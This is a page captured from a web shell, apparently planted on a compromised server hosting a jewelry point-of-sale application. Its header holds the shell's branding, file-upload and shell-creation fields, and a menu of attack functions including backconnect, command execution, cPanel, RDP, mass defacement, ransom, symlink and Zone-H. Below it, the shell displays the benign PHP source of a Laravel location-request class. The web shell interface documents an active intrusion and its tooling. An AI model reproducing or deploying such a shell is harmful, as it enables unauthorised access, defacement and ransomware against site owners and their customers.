KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/vendor/stevebauman/location/src/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/vendor/stevebauman/location/src/LocationRequest.php


<?php

namespace Stevebauman\Location;

use Illuminate\Http\Request as IlluminateRequest;

class LocationRequest extends IlluminateRequest implements Request
{
    /**
     * The IP address to resolve.
     */
    protected ?string $ip;

    /**
     * Get the client IP address.
     */
    public function getIp(): string
    {
        if ($this->ip) {
            return $this->ip;
        }

        if ($this->isTesting()) {
            return $this->getTestingIp();
        }

        return parent::ip();
    }

    /**
     * Set the IP address to resolve.
     */
    public function setIp(string $ip = null): static
    {
        $this->ip = $ip;

        return $this;
    }

    /**
     * Get a header from the request.
     */
    public function getHeader(string $key = null, string|array $default = null): string|array|null
    {
        return parent::header($key, $default);
    }

    /**
     * Determine if location testing is enabled.
     */
    protected function isTesting(): bool
    {
        return config('location.testing.enabled', true);
    }

    /**
     * Get the testing IP address.
     */
    protected function getTestingIp(): string
    {
        return config('location.testing.ip', '66.102.0.0');
    }
}

© KUJUNTI.ID